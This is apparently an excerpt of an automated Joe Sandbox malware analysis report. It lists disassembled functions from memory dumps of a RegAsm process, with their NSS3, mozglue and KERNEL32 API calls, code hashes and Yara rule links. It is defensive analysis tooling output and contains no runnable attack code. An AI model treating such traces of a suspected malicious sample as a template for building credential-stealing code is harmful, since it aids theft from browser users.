Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,014FACF8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: be08417950a04dbd05d639f5f4cad7f5e1b0e92e34aeea28b3310a8f9a2ecdbc
Instruction ID: a77fe6eef144f8be1650d890f93c6b8163d42d0b0f361fe6991083760d0b9acb
Opcode Fuzzy Hash: be08417950a04dbd05d639f5f4cad7f5e1b0e92e34aeea28b3310a8f9a2ecdbc
Instruction Fuzzy Hash: 91517FB4A40209EFCB08CF95D595AEE77B5FF44308F10805AE802AB351D774EAD1CB95

Function 6C502460 Relevance: 7.6, APIs: 5, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,6C5A7379,00000002,?), ref: 6C502493
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5024B4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,6C5A7379,00000002,?), ref: 6C5024EA
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,6C5A7379,00000002,?), ref: 6C5024F5
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,6C5A7379,00000002,?), ref: 6C5024FE

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Error$Alloc_FreeK11_Utilfree
String ID:
API String ID: 2595244113-0
Opcode ID: 4a31f79555734cc8582b7fdb80df6656786d4dfa194c2d3b74f054d41b577196
Instruction ID: be2dec781b3ba0de2e0be6f987e80ccc677b54e1420db49ddd35c097792197c2
Opcode Fuzzy Hash: 4a31f79555734cc8582b7fdb80df6656786d4dfa194c2d3b74f054d41b577196
Instruction Fuzzy Hash: 6A31AFB1B00116ABEB008FA5DC49BBAB7A4EF48308F104129FD19DAA90E775D954C7A1

Function 6C508530 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C508549
TlsGetValue.KERNEL32 ref: 6C5085CF
TlsGetValue.KERNEL32 ref: 6C5085FE
TlsGetValue.KERNEL32 ref: 6C508629
memcpy.VCRUNTIME140 ref: 6C508655

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Value$IdentitiesLayermemcpy
String ID:
API String ID: 2311246771-0
Opcode ID: a00fb7f5f54d4bebc6bba30da0b0586d296b7f7361bb91d41c96155ac14b9138
Instruction ID: 30672f596b2665afc68e219afad24ec1e17aa578ca0702a9dddb08b6599b2109
Opcode Fuzzy Hash: a00fb7f5f54d4bebc6bba30da0b0586d296b7f7361bb91d41c96155ac14b9138
Instruction Fuzzy Hash: FB416D70705701CBEB10DF69DD44A6ABBB4BF56308F12862ED89887A51DB30A495CB8B

Function 6C46EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C46EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C46EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C46EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C46EEEB
free.MOZGLUE(?), ref: 6C46EEF6

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 7405ca5d9967a776f96834a3bda80a37163754411222826b3671891bc4f714dc
Instruction ID: 1769c739fabcabf9237554b4ccb8e46445cd88f911ffd4e05541cdc027d2466b
Opcode Fuzzy Hash: 7405ca5d9967a776f96834a3bda80a37163754411222826b3671891bc4f714dc
Instruction Fuzzy Hash: C83134B1A006009BEB20DF2ACC84F667BF4FB46306F050629E95A87F54E731E815CBD9

Function 6C58A530 Relevance: 7.6, APIs: 5, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C58A55C
PR_IntervalNow.NSS3 ref: 6C58A573
PR_IntervalNow.NSS3 ref: 6C58A5A5
_PR_MD_UNLOCK.NSS3(?), ref: 6C58A603

Part of subcall function 6C539890: TlsGetValue.KERNEL32(?,?,?,6C5397EB), ref: 6C53989E

_PR_MD_UNLOCK.NSS3(?), ref: 6C58A636

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Interval$CriticalEnterSectionValue
String ID:
API String ID: 959321092-0
Opcode ID: 612b8f20291e001c406562c1f57101d337e8f97ee5d42299ff361eba249321e3
Instruction ID: e914e8257bd9a690ba89e6b6b826846d21307daf8c988b85883dd53cfc89125b
Opcode Fuzzy Hash: 612b8f20291e001c406562c1f57101d337e8f97ee5d42299ff361eba249321e3
Instruction Fuzzy Hash: A0314FB1A02625CFCB00DF29CC80A9AB7B5BF85359F158565D8198BB97E730EC84CF90

Function 6C4744D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6C4744FF

Part of subcall function 6C4D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C478298,?,?,?,6C46FCE5,?), ref: 6C4D07BF
Part of subcall function 6C4D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C4D07E6
Part of subcall function 6C4D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4D081B
Part of subcall function 6C4D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4D0825

SECOID_FindOID_Util.NSS3(?), ref: 6C474524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C474537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6C474579

Part of subcall function 6C4741B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C4741BE
Part of subcall function 6C4741B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C4741E9
Part of subcall function 6C4741B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C474227
Part of subcall function 6C4741B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6C47423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C47459C

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: 2b5e82c93599e2a0788c21f76ff2693972c709001dfa2fe912b3d258f3daa42e
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: C321B0717016109BEB30DA699C44FFB37A89F417FAF151428EA158BB41E721E905CEB1

Function 6C47E5E0 Relevance: 7.6, APIs: 5, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6C47E755,00000000,00000004,?,?), ref: 6C47E5F5

Part of subcall function 6C4D14C0: TlsGetValue.KERNEL32 ref: 6C4D14E0
Part of subcall function 6C4D14C0: EnterCriticalSection.KERNEL32 ref: 6C4D14F5
Part of subcall function 6C4D14C0: PR_Unlock.NSS3 ref: 6C4D150D

PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6C47E62C
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6C47E63E

Part of subcall function 6C4CF9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6C46F379,?,00000000,-00000002), ref: 6C4CF9B7

PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6C47E65C

Part of subcall function 6C49DDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C49DDEC
Part of subcall function 6C49DDD0: PK11_DigestBegin.NSS3(00000000), ref: 6C49DE70
Part of subcall function 6C49DDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C49DE83
Part of subcall function 6C49DDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6C49DE95
Part of subcall function 6C49DDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C49DEAE
Part of subcall function 6C49DDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C49DEBB

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6C47E68E

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: K11_Util$Digest$ArenaItem_Mark_$AllocBeginContextCriticalDestroyEnterErrorFinalFindHashResultSectionTag_UnlockValueZfree
String ID:
API String ID: 2865137721-0
Opcode ID: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction ID: 3d664fb9b20235c26554c4cc3eafc66c5854726cb55b3344a9728cfadbe502d1
Opcode Fuzzy Hash: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction Fuzzy Hash: A7213776702200AFFB10CEA5DCC0FE677989F80659F954238ED198BB51EB21DD24C2E1

Function 6C47AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C473FFF,00000000,?,?,?,?,?,6C471A1C,00000000,00000000), ref: 6C47ADA7

Part of subcall function 6C4D14C0: TlsGetValue.KERNEL32 ref: 6C4D14E0
Part of subcall function 6C4D14C0: EnterCriticalSection.KERNEL32 ref: 6C4D14F5
Part of subcall function 6C4D14C0: PR_Unlock.NSS3 ref: 6C4D150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C473FFF,00000000,?,?,?,?,?,6C471A1C,00000000,00000000), ref: 6C47ADB4

Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D10F3
Part of subcall function 6C4D10C0: EnterCriticalSection.KERNEL32(?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D110C
Part of subcall function 6C4D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1141
Part of subcall function 6C4D10C0: PR_Unlock.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1182
Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C473FFF,?,?,?,?,6C473FFF,00000000,?,?,?,?,?,6C471A1C,00000000), ref: 6C47ADD5

Part of subcall function 6C4CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C4C8D2D,?,00000000,?), ref: 6C4CFB85
Part of subcall function 6C4CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C4CFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C5994B0,?,?,?,?,?,?,?,?,6C473FFF,00000000,?), ref: 6C47ADEC

Part of subcall function 6C4CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5A18D0,?), ref: 6C4CB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C473FFF), ref: 6C47AE3C

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 7baf1a6f5bcf1fe517cdf2a783e24f8dcbf2e658b7ddfa6edc5a92eb73b341a1
Instruction ID: d2e5103eb81cf54c8e6015b8f7604ffc411613f053b59e58ee46a999982467ab
Opcode Fuzzy Hash: 7baf1a6f5bcf1fe517cdf2a783e24f8dcbf2e658b7ddfa6edc5a92eb73b341a1
Instruction Fuzzy Hash: 2B110371E002045BE720EA659C51FFF73B8DF9125EF04462CEC1996B41FB20E95882E2

Function 6C5004C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C50461B,-00000004), ref: 6C5004DF
TlsGetValue.KERNEL32(?,00000000,?,6C50461B,-00000004), ref: 6C500510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6C500520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C50461B,-00000004), ref: 6C500534
GetLastError.KERNEL32(?,6C50461B,-00000004), ref: 6C500543

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: 483f3b9411de8e005bd6677b36c75325c7481ca36dc9d35cccc41d28c29f5bb3
Instruction ID: c9c11e62cb17050aed686bb946997d1533473121409bbb0e860b623f467ee3df
Opcode Fuzzy Hash: 483f3b9411de8e005bd6677b36c75325c7481ca36dc9d35cccc41d28c29f5bb3
Instruction Fuzzy Hash: 96115071F041419BDB10AF38DC08B663774EF82319F65462AE425C7DD2EB31E544CB90

Function 6C49CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C4B1E10: TlsGetValue.KERNEL32 ref: 6C4B1E36
Part of subcall function 6C4B1E10: EnterCriticalSection.KERNEL32(?,?,?,6C48B1EE,2404110F,?,?), ref: 6C4B1E4B
Part of subcall function 6C4B1E10: PR_Unlock.NSS3 ref: 6C4B1E76

free.MOZGLUE(?,6C49D079,00000000,00000001), ref: 6C49CDA5
PK11_FreeSymKey.NSS3(?,6C49D079,00000000,00000001), ref: 6C49CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C49D079,00000000,00000001), ref: 6C49CDCF
DeleteCriticalSection.KERNEL32(?,6C49D079,00000000,00000001), ref: 6C49CDE2
free.MOZGLUE(?), ref: 6C49CDE9

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: ca9c92290d79d282b163d4c3d6714e3efc47684c6e1964a1283a97144e8886bc
Instruction ID: f50506942599283d39f39aa7f748cf5e1143ee77b6f5011a922901c387afe0eb
Opcode Fuzzy Hash: ca9c92290d79d282b163d4c3d6714e3efc47684c6e1964a1283a97144e8886bc
Instruction Fuzzy Hash: 951102B2B01521ABEF00EEA5EC44D96BB2DFF0425A7000225E90997E11E332F534C7E1

Function 6C502CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C505B40: PR_GetIdentitiesLayer.NSS3 ref: 6C505B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C502CEC

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

PR_EnterMonitor.NSS3(?), ref: 6C502D02
PR_EnterMonitor.NSS3(?), ref: 6C502D1F
PR_ExitMonitor.NSS3(?), ref: 6C502D42
PR_ExitMonitor.NSS3(?), ref: 6C502D5B

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 631d4fc9a4ffd91310cd5d46b4db2694e9dcc4dee6cdd6649fa00f2a952327f4
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 020165F6A142009BE7309E25FC45B87B7A5EB95318F004525E95DC6B20F632FD16C692

Function 6C502D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C505B40: PR_GetIdentitiesLayer.NSS3 ref: 6C505B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C502D9C

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

PR_EnterMonitor.NSS3(?), ref: 6C502DB2
PR_EnterMonitor.NSS3(?), ref: 6C502DCF
PR_ExitMonitor.NSS3(?), ref: 6C502DF2
PR_ExitMonitor.NSS3(?), ref: 6C502E0B

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: e17366f2c83853173c258f244718ddbd8b343a848a70142d6e375df3be6afcfe
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 4001A1F2A406009BEB309E26FC05BC7B7A5EB81318F040435E85EC6B20F632FC25C692

Function 6C49AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C483090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C49AE42), ref: 6C4830AA
Part of subcall function 6C483090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4830C7
Part of subcall function 6C483090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C4830E5
Part of subcall function 6C483090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C483116
Part of subcall function 6C483090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C48312B
Part of subcall function 6C483090: PK11_DestroyObject.NSS3(?,?), ref: 6C483154
Part of subcall function 6C483090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C48317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C4799FF,?,?,?,?,?,?,?,?,?,6C472D6B,?), ref: 6C49AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C4799FF,?,?,?,?,?,?,?,?,?,6C472D6B,?), ref: 6C49AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C472D6B,?,?,00000000), ref: 6C49AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C472D6B,?,?,00000000), ref: 6C49AE96
